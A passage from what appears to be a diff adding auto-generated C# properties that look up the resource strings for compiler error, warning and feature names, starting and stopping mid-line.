=> GetResourceString("ERR_GoToForwardJumpOverUsingVar"); + + internal static string ERR_GoToBackwardJumpOverUsingVar => GetResourceString("ERR_GoToBackwardJumpOverUsingVar"); + + internal static string IDS_FeatureUsingDeclarations => GetResourceString("IDS_FeatureUsingDeclarations"); + + internal static string IDS_FeatureDisposalPattern => GetResourceString("IDS_FeatureDisposalPattern"); + + internal static string ERR_FeatureInPreview => GetResourceString("ERR_FeatureInPreview"); + + internal static string IDS_DefaultInterfaceImplementation => GetResourceString("IDS_DefaultInterfaceImplementation"); + + internal static string ERR_RuntimeDoesNotSupportDefaultInterfaceImplementation => GetResourceString("ERR_RuntimeDoesNotSupportDefaultInterfaceImplementation"); + + internal static string ERR_RuntimeDoesNotSupportDefaultInterfaceImplementationForMember => GetResourceString("ERR_RuntimeDoesNotSupportDefaultInterfaceImplementationForMember"); + + internal static string ERR_InvalidModifierForLanguageVersion => GetResourceString("ERR_InvalidModifierForLanguageVersion"); + + internal static string ERR_ImplicitImplementationOfNonPublicInterfaceMember => GetResourceString("ERR_ImplicitImplementationOfNonPublicInterfaceMember"); + + internal static string ERR_MostSpecificImplementationIsNotFound => GetResourceString("ERR_MostSpecificImplementationIsNotFound"); + + internal static string ERR_LanguageVersionDoesNotSupportInterfaceImplementationForMember => GetResourceString("ERR_LanguageVersionDoesNotSupportInterfaceImplementationForMember"); + + internal static string ERR_RuntimeDoesNotSupportProtectedAccessForInterfaceMember => GetResourceString("ERR_RuntimeDoesNotSupportProtectedAccessForInterfaceMember"); + + internal static string ERR_DefaultInterfaceImplementationInNoPIAType => GetResourceString("ERR_DefaultInterfaceImplementationInNoPIAType"); + + internal static string WRN_SwitchExpressionNotExhaustiveForNull => GetResourceString("WRN_SwitchExpressionNotExhaustiveForNull"); + + internal static string WRN_SwitchExpressionNotExhaustiveForNull_Title => GetResourceString("WRN_SwitchExpressionNotExhaustiveForNull_Title"); + + internal static string WRN_SwitchExpressionNotExhaustiveForNullWithWhen => GetResourceString("WRN_SwitchExpressionNotExhaustiveForNullWithWhen"); + + internal static string WRN_SwitchExpressionNotExhaustiveForNullWithWhen_Title => GetResourceString("WRN_SwitchExpressionNotExhaustiveForNullWithWhen_Title"); + + internal static string ERR_AttributeNotOnEventAccessor => GetResourceString("ERR_AttributeNotOnEventAccessor"); + + internal static string IDS_FeatureObsoleteOnPropertyAccessor => GetResourceString("IDS_FeatureObsoleteOnPropertyAccessor"); + + internal static string WRN_UnconsumedEnumeratorCancellationAttributeUsage => GetResourceString("WRN_UnconsumedEnumeratorCancellationAttributeUsage"); + + internal static string WRN_UnconsumedEnumeratorCancellationAttributeUsage_Title => GetResourceString("WRN_UnconsumedEnumeratorCancellationAttributeUsage_Title"); + + internal static string WRN_UndecoratedCancellationTokenParameter => GetResourceString("WRN_UndecoratedCancellationTokenParameter"); + + internal static string WRN_UndecoratedCancellationTokenParameter_Title => GetResourceString("WRN_UndecoratedCancellationTokenParameter_Title"); + + internal static string ERR_MultipleEnumeratorCancellationAttributes => GetResourceString("ERR_MultipleEnumeratorCancellationAttributes"); + + internal static string ERR_OverrideRefConstraintNotSatisfied => GetResourceString("ERR_OverrideRefConstraintNotSatisfied"); + + internal static string ERR_OverrideValConstraintNotSatisfied => GetResourceString("ERR_OverrideValConstraintNotSatisfied"); + + internal static string ERR_OverrideDefaultConstraintNotSatisfied => GetResourceString("ERR_OverrideDefaultConstraintNotSatisfied"); + + internal static string ERR_DefaultConstraintOverrideOnly => GetResourceString("ERR_DefaultConstraintOverrideOnly"); + + internal static string IDS_OverrideWithConstraints => GetResourceString("IDS_OverrideWithConstraints"); + + internal static string WRN_NullabilityMismatchInConstraintsOnPartialImplementation => GetResourceString("WRN_NullabilityMismatchInConstraintsOnPartialImplementation"); + + internal static string WRN_NullabilityMismatchInConstraintsOnPartialImplementation_Title => GetResourceString("WRN_NullabilityMismatchInConstraintsOnPartialImplementation_Title"); + + internal static string IDS_FeatureNestedStackalloc => GetResourceString("IDS_FeatureNestedStackalloc"); + + internal static string WRN_NullabilityMismatchInTypeParameterNotNullConstraint => GetResourceString("WRN_NullabilityMismatchInTypeParameterNotNullConstraint"); + + internal static string WRN_NullabilityMismatchInTypeParameterNotNullConstraint_Title => GetResourceString("WRN_NullabilityMismatchInTypeParameterNotNullConstraint_Title"); + + internal static string IDS_FeatureNotNullGenericTypeConstraint => GetResourceString("IDS_FeatureNotNullGenericTypeConstraint"); + + internal static string ERR_DuplicateNullSuppression => GetResourceString("ERR_DuplicateNullSuppression"); + + internal static string ERR_ParameterNullCheckingNotSupported => GetResourceString("ERR_ParameterNullCheckingNotSupported"); + + internal static string ERR_ReAbstractionInNoPIAType => GetResourceString("ERR_ReAbstractionInNoPIAType"); + + internal static string ERR_BadSwitchValue => GetResourceString("ERR_BadSwitchValue"); + + internal static string IDS_FeatureFunctionPointers => GetResourceString("IDS_FeatureFunctionPointers"); + + internal static string IDS_AddressOfMethodGroup => GetResourceString("IDS_AddressOfMethodGroup"); + + internal static string ERR_InvalidFunctionPointerCallingConvention => GetResourceString("ERR_InvalidFunctionPointerCallingConvention"); + + internal static string ERR_TypeNotFound => GetResourceString("ERR_TypeNotFound"); + + internal static string ERR_TypeMustBePublic => GetResourceString("ERR_TypeMustBePublic"); + + internal static string WRN_SyncAndAsyncEntryPoints => GetResourceString("WRN_SyncAndAsyncEntryPoints"); + + internal static string ERR_InternalError => GetResourceString("ERR_InternalError"); + + internal static string IDS_FeatureStaticAnonymousFunction => GetResourceString("IDS_FeatureStaticAnonymousFunction"); + + internal static string ERR_StaticAnonymousFunctionCannotCaptureThis => GetResourceString("ERR_StaticAnonymousFunctionCannotCaptureThis"); + + internal static string ERR_StaticAnonymousFunctionCannotCaptureVariable => GetResourceString("ERR_StaticAnonymousFunctionCannotCaptureVariable"); + + internal static string IDS_FeatureAsyncUsing => GetResourceString("IDS_FeatureAsyncUsing"); + + internal static string IDS_FeatureParenthesizedPattern => GetResourceString("IDS_FeatureParenthesizedPattern"); + + internal static string IDS_FeatureOrPattern => GetResourceString("IDS_FeatureOrPattern"); + + internal static string IDS_FeatureAndPattern => GetResourceString("IDS_FeatureAndPattern"); + + internal static string IDS_FeatureNotPattern => GetResourceString("IDS_FeatureNotPattern"); + + internal static string IDS_FeatureTypePattern => GetResourceString("IDS_FeatureTypePattern"); + + internal static string IDS_FeatureRelationalPattern => GetResourceString("IDS_FeatureRelationalPattern"); + + internal static string ERR_VarianceInterfaceNesting => GetResourceString("ERR_VarianceInterfaceNesting"); + + internal static string ERR_ExternEventInitializer => GetResourceString("ERR_ExternEventInitializer"); + + internal static string ERR_ImplicitIndexIndexerWithName => GetResourceString("ERR_ImplicitIndexIndexerWithName"); + + internal static string ERR_ImplicitRangeIndexerWithName => GetResourceString("ERR_ImplicitRangeIndexerWithName"); + + internal static string ERR_ImplicitObjectCreationIllegalTargetType => GetResourceString("ERR_ImplicitObjectCreationIllegalTargetType"); + + internal static string ERR_ImplicitObjectCreationNotValid => GetResourceString("ERR_ImplicitObjectCreationNotValid"); + + internal static string ERR_ImplicitObjectCreationNoTargetType => GetResourceString("ERR_ImplicitObjectCreationNoTargetType"); + + internal static string IDS_FeatureImplicitObjectCreation => GetResourceString("IDS_FeatureImplicitObjectCreation"); + + internal static string ERR_ExpressionTreeContainsPatternImplicitIndexer => GetResourceString("ERR_ExpressionTreeContainsPatternImplicitIndexer"); + + internal static string ERR_ExpressionTreeContainsFromEndIndexExpression => GetResourceString("ERR_ExpressionTreeContainsFromEndIndexExpression"); + + internal static string ERR_ExpressionTreeContainsRangeExpression => GetResourceString("ERR_ExpressionTreeContainsRangeExpression"); + + internal static string WRN_GeneratorFailedDuringGeneration => GetResourceString("WRN_GeneratorFailedDuringGeneration"); + + internal static string WRN_GeneratorFailedDuringInitialization => GetResourceString("WRN_GeneratorFailedDuringInitialization"); + + internal static string WRN_GeneratorFailedDuringGeneration_Title => GetResourceString("WRN_GeneratorFailedDuringGeneration_Title"); + + internal static string WRN_GeneratorFailedDuringInitialization_Title => GetResourceString("WRN_GeneratorFailedDuringInitialization_Title"); + + internal static string IDS_FeatureRecords => GetResourceString("IDS_FeatureRecords"); + + internal static string IDS_FeatureInitOnlySetters => GetResourceString("IDS_FeatureInitOnlySetters"); + + internal static string ERR_InvalidWithReceiverType => GetResourceString("ERR_InvalidWithReceiverType"); + + internal static string ERR_CannotClone => GetResourceString("ERR_CannotClone"); + + internal static string ERR_AssignmentInitOnly => GetResourceString("ERR_AssignmentInitOnly"); + + internal static string ERR_DesignatorBeneathPatternCombinator => GetResourceString("ERR_DesignatorBeneathPatternCombinator"); + + internal static string ERR_UnsupportedTypeForRelationalPattern => GetResourceString("ERR_UnsupportedTypeForRelationalPattern"); + + internal static string ERR_RelationalPatternWithNaN => GetResourceString("ERR_RelationalPatternWithNaN"); + + internal static string IDS_FeatureSpanCharConstantPattern => GetResourceString("IDS_FeatureSpanCharConstantPattern"); + + internal static string IDS_FeatureExtendedPartialMethods => GetResourceString("IDS_FeatureExtendedPartialMethods"); + + internal static string IDS_FeatureConstantInterpolatedStrings => GetResourceString("IDS_FeatureConstantInterpolatedStrings"); + + internal static string ERR_PartialMethodWithNonVoidReturnMustHaveAccessMods => GetResourceString("ERR_PartialMethodWithNonVoidReturnMustHaveAccessMods"); + + internal static string ERR_PartialMethodWithOutParamMustHaveAccessMods => GetResourceString("ERR_PartialMethodWithOutParamMustHaveAccessMods"); + + internal static string ERR_PartialMethodWithAccessibilityModsMustHaveImplementation => GetResourceString("ERR_PartialMethodWithAccessibilityModsMustHaveImplementation"); + + internal static string ERR_PartialMethodWithExtendedModMustHaveAccessMods => GetResourceString("ERR_PartialMethodWithExtendedModMustHaveAccessMods"); + + internal static string ERR_PartialMethodAccessibilityDifference => GetResourceString("ERR_PartialMethodAccessibilityDifference"); + + internal static string ERR_PartialMethodExtendedModDifference => GetResourceString("ERR_PartialMethodExtendedModDifference"); + + internal static string ERR_PartialMethodReturnTypeDifference => GetResourceString("ERR_PartialMethodReturnTypeDifference"); + + internal static string ERR_PartialMethodRefReturnDifference => GetResourceString("ERR_PartialMethodRefReturnDifference"); + + internal static string WRN_PartialMethodTypeDifference => GetResourceString("WRN_PartialMethodTypeDifference"); + + internal static string WRN_PartialMethodTypeDifference_Title => GetResourceString("WRN_PartialMethodTypeDifference_Title"); + + internal static string IDS_TopLevelStatements => GetResourceString("IDS_TopLevelStatements"); + + internal static string ERR_SimpleProgramLocalIsReferencedOutsideOfTopLevelStatement => GetResourceString("ERR_SimpleProgramLocalIsReferencedOutsideOfTopLevelStatement"); + + internal static string ERR_SimpleProgramMultipleUnitsWithTopLevelStatements => GetResourceString("ERR_SimpleProgramMultipleUnitsWithTopLevelStatements"); + + internal static string ERR_TopLevelStatementAfterNamespaceOrType => GetResourceString("ERR_TopLevelStatementAfterNamespaceOrType"); + + internal static string ERR_SimpleProgramDisallowsMainType => GetResourceString("ERR_SimpleProgramDisallowsMainType"); + + internal static string ERR_SimpleProgramNotAnExecutable => GetResourceString("ERR_SimpleProgramNotAnExecutable"); + + internal static string ERR_InvalidFuncPointerReturnTypeModifier => GetResourceString("ERR_InvalidFuncPointerReturnTypeModifier"); + + internal static string ERR_DupReturnTypeMod => GetResourceString("ERR_DupReturnTypeMod"); + + internal static string ERR_BadFuncPointerParamModifier => GetResourceString("ERR_BadFuncPointerParamModifier"); + + internal static string ERR_BadFuncPointerArgCount => GetResourceString("ERR_BadFuncPointerArgCount"); + + internal static string ERR_MethFuncPtrMismatch => GetResourceString("ERR_MethFuncPtrMismatch"); + + internal static string ERR_FuncPtrRefMismatch => GetResourceString("ERR_FuncPtrRefMismatch"); + + internal static string ERR_FuncPtrMethMustBeStatic => GetResourceString("ERR_FuncPtrMethMustBeStatic"); + + internal static string ERR_AddressOfMethodGroupInExpressionTree => GetResourceString("ERR_AddressOfMethodGroupInExpressionTree"); + + internal static string ERR_WrongFuncPtrCallingConvention => GetResourceString("ERR_WrongFuncPtrCallingConvention"); + + internal static string ERR_MissingAddressOf => GetResourceString("ERR_MissingAddressOf"); + + internal static string ERR_CannotUseReducedExtensionMethodInAddressOf => GetResourceString("ERR_CannotUseReducedExtensionMethodInAddressOf"); + + internal static string ERR_CannotUseFunctionPointerAsFixedLocal => GetResourceString("ERR_CannotUseFunctionPointerAsFixedLocal"); + + internal static string ERR_UnsupportedCallingConvention => GetResourceString("ERR_UnsupportedCallingConvention"); + + internal static string ERR_RuntimeDoesNotSupportUnmanagedDefaultCallConv => GetResourceString("ERR_RuntimeDoesNotSupportUnmanagedDefaultCallConv"); + + internal static string NotSameNumberParameterTypesAndRefKinds => GetResourceString("NotSameNumberParameterTypesAndRefKinds"); + + internal static string OutIsNotValidForReturn => GetResourceString("OutIsNotValidForReturn"); + + internal static string CallingConventionTypesRequireUnmanaged => GetResourceString("CallingConventionTypesRequireUnmanaged"); + + internal static string CallingConventionTypeIsInvalid => GetResourceString("CallingConventionTypeIsInvalid"); + + internal static string ERR_CannotConvertAddressOfToDelegate => GetResourceString("ERR_CannotConvertAddressOfToDelegate"); + + internal static string ERR_AddressOfToNonFunctionPointer => GetResourceString("ERR_AddressOfToNonFunctionPointer"); + + internal static string ERR_CannotSpecifyManagedWithUnmanagedSpecifiers => GetResourceString("ERR_CannotSpecifyManagedWithUnmanagedSpecifiers"); + + internal static string ERR_FeatureNotAvailableInVersion9 => GetResourceString("ERR_FeatureNotAvailableInVersion9"); + + internal static string ERR_FeatureNotAvailableInVersion10 => GetResourceString("ERR_FeatureNotAvailableInVersion10"); + + internal static string ERR_FeatureNotAvailableInVersion11 => GetResourceString("ERR_FeatureNotAvailableInVersion11"); + + internal static string ERR_FeatureNotAvailableInVersion12 => GetResourceString("ERR_FeatureNotAvailableInVersion12"); + + internal static string ERR_UnexpectedArgumentList => GetResourceString("ERR_UnexpectedArgumentList"); + + internal static string ERR_UnexpectedOrMissingConstructorInitializerInRecord => GetResourceString("ERR_UnexpectedOrMissingConstructorInitializerInRecord"); + + internal static string ERR_MultipleRecordParameterLists => GetResourceString("ERR_MultipleRecordParameterLists"); + + internal static string ERR_BadRecordBase => GetResourceString("ERR_BadRecordBase"); + + internal static string ERR_BadInheritanceFromRecord => GetResourceString("ERR_BadInheritanceFromRecord"); + + internal static string ERR_BadRecordMemberForPositionalParameter => GetResourceString("ERR_BadRecordMemberForPositionalParameter"); + + internal static string ERR_NoCopyConstructorInBaseType => GetResourceString("ERR_NoCopyConstructorInBaseType"); + + internal static string ERR_CopyConstructorMustInvokeBaseCopyConstructor => GetResourceString("ERR_CopyConstructorMustInvokeBaseCopyConstructor"); + + internal static string IDS_FeatureTargetTypedConditional => GetResourceString("IDS_FeatureTargetTypedConditional"); + + internal static string ERR_NoImplicitConvTargetTypedConditional => GetResourceString("ERR_NoImplicitConvTargetTypedConditional"); + + internal static string ERR_DoesNotOverrideMethodFromObject => GetResourceString("ERR_DoesNotOverrideMethodFromObject"); + + internal static string IDS_FeatureCovariantReturnsForOverrides => GetResourceString("IDS_FeatureCovariantReturnsForOverrides"); + + internal static string ERR_RuntimeDoesNotSupportCovariantReturnsOfClasses => GetResourceString("ERR_RuntimeDoesNotSupportCovariantReturnsOfClasses"); + + internal static string ERR_RuntimeDoesNotSupportCovariantPropertiesOfClasses => GetResourceString("ERR_RuntimeDoesNotSupportCovariantPropertiesOfClasses"); + + internal static string ERR_SealedAPIInRecord => GetResourceString("ERR_SealedAPIInRecord"); + + internal static string ERR_DoesNotOverrideBaseMethod => GetResourceString("ERR_DoesNotOverrideBaseMethod"); + + internal static string WRN_ConstOutOfRangeChecked => GetResourceString("WRN_ConstOutOfRangeChecked"); + + internal static string WRN_ConstOutOfRangeChecked_Title => GetResourceString("WRN_ConstOutOfRangeChecked_Title"); + + internal static string ERR_CloneDisallowedInRecord => GetResourceString("ERR_CloneDisallowedInRecord"); + + internal static string WRN_RecordNamedDisallowed => GetResourceString("WRN_RecordNamedDisallowed"); + + internal static string WRN_RecordNamedDisallowed_Title => GetResourceString("WRN_RecordNamedDisallowed_Title"); + + internal static string ERR_NotOverridableAPIInRecord => GetResourceString("ERR_NotOverridableAPIInRecord"); + + internal static string ERR_NonPublicAPIInRecord => GetResourceString("ERR_NonPublicAPIInRecord"); + + internal static string ERR_SignatureMismatchInRecord => GetResourceString("ERR_SignatureMismatchInRecord"); + + internal static string ERR_NonProtectedAPIInRecord => GetResourceString("ERR_NonProtectedAPIInRecord"); + + internal static string ERR_DoesNotOverrideBaseEqualityContract => GetResourceString("ERR_DoesNotOverrideBaseEqualityContract"); + + internal static string ERR_StaticAPIInRecord => GetResourceString("ERR_StaticAPIInRecord"); + + internal static string ERR_CopyConstructorWrongAccessibility => GetResourceString("ERR_CopyConstructorWrongAccessibility"); + + internal static string ERR_NonPrivateAPIInRecord => GetResourceString("ERR_NonPrivateAPIInRecord"); + + internal static string WRN_PrecedenceInversion => GetResourceString("WRN_PrecedenceInversion"); + + internal static string WRN_PrecedenceInversion_Title => GetResourceString("WRN_PrecedenceInversion_Title"); + + internal static string IDS_FeatureModuleInitializers => GetResourceString("IDS_FeatureModuleInitializers"); + + internal static string ERR_ModuleInitializerMethodMustBeAccessibleOutsideTopLevelType => GetResourceString("ERR_ModuleInitializerMethodMustBeAccessibleOutsideTopLevelType"); + + internal static string ERR_ModuleInitializerMethodMustBeStaticParameterlessVoid => GetResourceString("ERR_ModuleInitializerMethodMustBeStaticParameterlessVoid"); + + internal static string ERR_ModuleInitializerMethodAndContainingTypesMustNotBeGeneric => GetResourceString("ERR_ModuleInitializerMethodAndContainingTypesMustNotBeGeneric"); + + internal static string ERR_ModuleInitializerMethodMustBeOrdinary => GetResourceString("ERR_ModuleInitializerMethodMustBeOrdinary"); + + internal static string IDS_FeatureExtensionGetAsyncEnumerator => GetResourceString("IDS_FeatureExtensionGetAsyncEnumerator"); + + internal static string IDS_FeatureExtensionGetEnumerator => GetResourceString("IDS_FeatureExtensionGetEnumerator"); + + internal static string ERR_UnmanagedCallersOnlyRequiresStatic => GetResourceString("ERR_UnmanagedCallersOnlyRequiresStatic"); + + internal static string ERR_InvalidUnmanagedCallersOnlyCallConv => GetResourceString("ERR_InvalidUnmanagedCallersOnlyCallConv"); + + internal static string ERR_CannotUseManagedTypeInUnmanagedCallersOnly => GetResourceString("ERR_CannotUseManagedTypeInUnmanagedCallersOnly"); + + internal static string ERR_UnmanagedCallersOnlyMethodOrTypeCannotBeGeneric => GetResourceString("ERR_UnmanagedCallersOnlyMethodOrTypeCannotBeGeneric"); + + internal static string ERR_UnmanagedCallersOnlyMethodsCannotBeCalledDirectly => GetResourceString("ERR_UnmanagedCallersOnlyMethodsCannotBeCalledDirectly"); + + internal static string ERR_UnmanagedCallersOnlyMethodsCannotBeConvertedToDelegate => GetResourceString("ERR_UnmanagedCallersOnlyMethodsCannotBeConvertedToDelegate"); + + internal static string ERR_EntryPointCannotBeUnmanagedCallersOnly => GetResourceString("ERR_EntryPointCannotBeUnmanagedCallersOnly"); + + internal static string ERR_ModuleInitializerCannotBeUnmanagedCallersOnly => GetResourceString("ERR_ModuleInitializerCannotBeUnmanagedCallersOnly"); + + internal static string WRN_RecordEqualsWithoutGetHashCode => GetResourceString("WRN_RecordEqualsWithoutGetHashCode"); + + internal static string WRN_RecordEqualsWithoutGetHashCode_Title => GetResourceString("WRN_RecordEqualsWithoutGetHashCode_Title"); + + internal static string ERR_InitCannotBeReadonly => GetResourceString("ERR_InitCannotBeReadonly"); + + internal static string IDS_FeatureDiscards => GetResourceString("IDS_FeatureDiscards"); + + internal static string IDS_FeatureMixedDeclarationsAndExpressionsInDeconstruction => GetResourceString("IDS_FeatureMixedDeclarationsAndExpressionsInDeconstruction"); + + internal static string IDS_FeatureRecordStructs => GetResourceString("IDS_FeatureRecordStructs"); + + internal static string IDS_FeatureWithOnStructs => GetResourceString("IDS_FeatureWithOnStructs"); + + internal static string IDS_FeatureWithOnAnonymousTypes => GetResourceString("IDS_FeatureWithOnAnonymousTypes"); + + internal static string IDS_AsyncMethodBuilderOverride => GetResourceString("IDS_AsyncMethodBuilderOverride"); + + internal static string IDS_FeaturePositionalFieldsInRecords => GetResourceString("IDS_FeaturePositionalFieldsInRecords"); + + internal static string IDS_FeatureParameterlessStructConstructors => GetResourceString("IDS_FeatureParameterlessStructConstructors"); + + internal static string IDS_FeatureStructFieldInitializers => GetResourceString("IDS_FeatureStructFieldInitializers"); + + internal static string IDS_FeatureRefFields => GetResourceString("IDS_FeatureRefFields"); + + internal static string IDS_FeatureVarianceSafetyForStaticInterfaceMembers => GetResourceString("IDS_FeatureVarianceSafetyForStaticInterfaceMembers"); + + internal static string IDS_FeatureCollectionExpressions => GetResourceString("IDS_FeatureCollectionExpressions"); + + internal static string ERR_CollectionExpressionTargetTypeNotConstructible => GetResourceString("ERR_CollectionExpressionTargetTypeNotConstructible"); + + internal static string ERR_ExpressionTreeContainsCollectionExpression => GetResourceString("ERR_ExpressionTreeContainsCollectionExpression"); + + internal static string ERR_CollectionExpressionNoTargetType => GetResourceString("ERR_CollectionExpressionNoTargetType"); + + internal static string ERR_CollectionBuilderAttributeMethodNotFound => GetResourceString("ERR_CollectionBuilderAttributeMethodNotFound"); + + internal static string ERR_CollectionBuilderNoElementType => GetResourceString("ERR_CollectionBuilderNoElementType"); + + internal static string ERR_CollectionBuilderAttributeInvalidType => GetResourceString("ERR_CollectionBuilderAttributeInvalidType"); + + internal static string ERR_CollectionBuilderAttributeInvalidMethodName => GetResourceString("ERR_CollectionBuilderAttributeInvalidMethodName"); + + internal static string ERR_CollectionExpressionEscape => GetResourceString("ERR_CollectionExpressionEscape"); + + internal static string ERR_EqualityContractRequiresGetter => GetResourceString("ERR_EqualityContractRequiresGetter"); + + internal static string WRN_AnalyzerReferencesFramework => GetResourceString("WRN_AnalyzerReferencesFramework"); + + internal static string WRN_AnalyzerReferencesFramework_Title => GetResourceString("WRN_AnalyzerReferencesFramework_Title"); + + internal static string WRN_AnalyzerReferencesNewerCompiler => GetResourceString("WRN_AnalyzerReferencesNewerCompiler"); + + internal static string WRN_AnalyzerReferencesNewerCompiler_Title => GetResourceString("WRN_AnalyzerReferencesNewerCompiler_Title"); + + internal static string ERR_BadFieldTypeInRecord => GetResourceString("ERR_BadFieldTypeInRecord"); + + internal static string ERR_FunctionPointersCannotBeCalledWithNamedArguments => GetResourceString("ERR_FunctionPointersCannotBeCalledWithNamedArguments"); + + internal static string IDS_FeatureFileScopedNamespace => GetResourceString("IDS_FeatureFileScopedNamespace"); + + internal static string ERR_MultipleFileScopedNamespace => GetResourceString("ERR_MultipleFileScopedNamespace"); + + internal static string ERR_FileScopedAndNormalNamespace => GetResourceString("ERR_FileScopedAndNormalNamespace"); + + internal static string ERR_FileScopedNamespaceNotBeforeAllMembers => GetResourceString("ERR_FileScopedNamespaceNotBeforeAllMembers"); + + internal static string WRN_UnreadRecordParameter => GetResourceString("WRN_UnreadRecordParameter"); + + internal static string WRN_UnreadRecordParameter_Title => GetResourceString("WRN_UnreadRecordParameter_Title"); + + internal static string IDS_FeatureInstanceMemberInNameof => GetResourceString("IDS_FeatureInstanceMemberInNameof"); + + internal static string ERR_RecordAmbigCtor => GetResourceString("ERR_RecordAmbigCtor"); + + internal static string IDS_FeatureLambdaAttributes => GetResourceString("IDS_FeatureLambdaAttributes"); + + internal static string IDS_FeatureLambdaReturnType => GetResourceString("IDS_FeatureLambdaReturnType"); + + internal static string IDS_FeatureInferredDelegateType => GetResourceString("IDS_FeatureInferredDelegateType"); + + internal static string IDS_FeatureAutoDefaultStructs => GetResourceString("IDS_FeatureAutoDefaultStructs"); + + internal static string ERR_LineSpanDirectiveInvalidValue => GetResourceString("ERR_LineSpanDirectiveInvalidValue"); + + internal static string ERR_LineSpanDirectiveEndLessThanStart => GetResourceString("ERR_LineSpanDirectiveEndLessThanStart"); + + internal static string ERR_LineSpanDirectiveRequiresSpace => GetResourceString("ERR_LineSpanDirectiveRequiresSpace"); + + internal static string WRN_DoNotCompareFunctionPointers => GetResourceString("WRN_DoNotCompareFunctionPointers"); + + internal static string WRN_DoNotCompareFunctionPointers_Title => GetResourceString("WRN_DoNotCompareFunctionPointers_Title"); + + internal static string IDS_FeatureUsingTypeAlias => GetResourceString("IDS_FeatureUsingTypeAlias"); + + internal static string ERR_BadRefInUsingAlias => GetResourceString("ERR_BadRefInUsingAlias"); + + internal static string ERR_BadUnsafeInUsingDirective => GetResourceString("ERR_BadUnsafeInUsingDirective"); + + internal static string ERR_BadNullableReferenceTypeInUsingAlias => GetResourceString("ERR_BadNullableReferenceTypeInUsingAlias"); + + internal static string ERR_FunctionPointerTypesInAttributeNotSupported => GetResourceString("ERR_FunctionPointerTypesInAttributeNotSupported"); + + internal static string ERR_BadCallerArgumentExpressionParamWithoutDefaultValue => GetResourceString("ERR_BadCallerArgumentExpressionParamWithoutDefaultValue"); + + internal static string ERR_NoConversionForCallerArgumentExpressionParam => GetResourceString("ERR_NoConversionForCallerArgumentExpressionParam"); + + internal static string WRN_CallerArgumentExpressionParamForUnconsumedLocation => GetResourceString("WRN_CallerArgumentExpressionParamForUnconsumedLocation"); + + internal static string WRN_CallerArgumentExpressionParamForUnconsumedLocation_Title => GetResourceString("WRN_CallerArgumentExpressionParamForUnconsumedLocation_Title"); + + internal static string WRN_CallerFilePathPreferredOverCallerArgumentExpression => GetResourceString("WRN_CallerFilePathPreferredOverCallerArgumentExpression"); + + internal static string WRN_CallerFilePathPreferredOverCallerArgumentExpression_Title => GetResourceString("WRN_CallerFilePathPreferredOverCallerArgumentExpression_Title"); + + internal static string WRN_CallerLineNumberPreferredOverCallerArgumentExpression => GetResourceString("WRN_CallerLineNumberPreferredOverCallerArgumentExpression"); + + internal static string WRN_CallerLineNumberPreferredOverCallerArgumentExpression_Title => GetResourceString("WRN_CallerLineNumberPreferredOverCallerArgumentExpression_Title"); + + internal static string WRN_CallerMemberNamePreferredOverCallerArgumentExpression => GetResourceString("WRN_CallerMemberNamePreferredOverCallerArgumentExpression"); + + internal static string WRN_CallerMemberNamePreferredOverCallerArgumentExpression_Title => GetResourceString("WRN_CallerMemberNamePreferredOverCallerArgumentExpression_Title"); + + internal static string WRN_CallerArgumentExpressionAttributeHasInvalidParameterName => GetResourceString("WRN_CallerArgumentExpressionAttributeHasInvalidParameterName"); + + internal static string WRN_CallerArgumentExpressionAttributeHasInvalidParameterName_Title => GetResourceString("WRN_CallerArgumentExpressionAttributeHasInvalidParameterName_Title"); + + internal static string WRN_CallerArgumentExpressionAttributeSelfReferential => GetResourceString("WRN_CallerArgumentExpressionAttributeSelfReferential"); + + internal static string WRN_CallerArgumentExpressionAttributeSelfReferential_Title => GetResourceString("WRN_CallerArgumentExpressionAttributeSelfReferential_Title"); + + internal static string IDS_FeatureSealedToStringInRecord => GetResourceString("IDS_FeatureSealedToStringInRecord"); + + internal static string ERR_InheritingFromRecordWithSealedToString => GetResourceString("ERR_InheritingFromRecordWithSealedToString"); + + internal static string IDS_FeatureListPattern => GetResourceString("IDS_FeatureListPattern"); + + internal static string ERR_UnsupportedTypeForListPattern => GetResourceString("ERR_UnsupportedTypeForListPattern"); + + internal static string ERR_ListPatternRequiresLength => GetResourceString("ERR_ListPatternRequiresLength"); + + internal static string ERR_ScopedRefAndRefStructOnly => GetResourceString("ERR_ScopedRefAndRefStructOnly"); + + internal static string ERR_ScopedMismatchInParameterOfOverrideOrImplementation => GetResourceString("ERR_ScopedMismatchInParameterOfOverrideOrImplementation"); + + internal static string WRN_ScopedMismatchInParameterOfOverrideOrImplementation => GetResourceString("WRN_ScopedMismatchInParameterOfOverrideOrImplementation"); + + internal static string WRN_ScopedMismatchInParameterOfOverrideOrImplementation_Title => GetResourceString("WRN_ScopedMismatchInParameterOfOverrideOrImplementation_Title"); + + internal static string ERR_ScopedMismatchInParameterOfTarget => GetResourceString("ERR_ScopedMismatchInParameterOfTarget"); + + internal static string WRN_ScopedMismatchInParameterOfTarget => GetResourceString("WRN_ScopedMismatchInParameterOfTarget"); + + internal static string WRN_ScopedMismatchInParameterOfTarget_Title => GetResourceString("WRN_ScopedMismatchInParameterOfTarget_Title"); + + internal static string ERR_ScopedMismatchInParameterOfPartial => GetResourceString("ERR_ScopedMismatchInParameterOfPartial"); + + internal static string ERR_FixedFieldMustNotBeRef => GetResourceString("ERR_FixedFieldMustNotBeRef"); + + internal static string ERR_RefFieldCannotReferToRefStruct => GetResourceString("ERR_RefFieldCannotReferToRefStruct"); + + internal static string ERR_RefFieldInNonRefStruct => GetResourceString("ERR_RefFieldInNonRefStruct"); + + internal static string WRN_UseDefViolationPropertySupportedVersion => GetResourceString("WRN_UseDefViolationPropertySupportedVersion"); + + internal static string WRN_UseDefViolationPropertySupportedVersion_Title => GetResourceString("WRN_UseDefViolationPropertySupportedVersion_Title"); + + internal static string WRN_UseDefViolationFieldSupportedVersion => GetResourceString("WRN_UseDefViolationFieldSupportedVersion"); + + internal static string WRN_UseDefViolationFieldSupportedVersion_Title => GetResourceString("WRN_UseDefViolationFieldSupportedVersion_Title"); + + internal static string WRN_UseDefViolationThisSupportedVersion => GetResourceString("WRN_UseDefViolationThisSupportedVersion"); + + internal static string WRN_UseDefViolationThisSupportedVersion_Title => GetResourceString("WRN_UseDefViolationThisSupportedVersion_Title"); + + internal static string WRN_UnassignedThisAutoPropertySupportedVersion => GetResourceString("WRN_UnassignedThisAutoPropertySupportedVersion"); + + internal static string WRN_UnassignedThisAutoPropertySupportedVersion_Title => GetResourceString("WRN_UnassignedThisAutoPropertySupportedVersion_Title"); + + internal static string WRN_UnassignedThisSupportedVersion => GetResourceString("WRN_UnassignedThisSupportedVersion"); + + internal static string WRN_UnassignedThisSupportedVersion_Title => 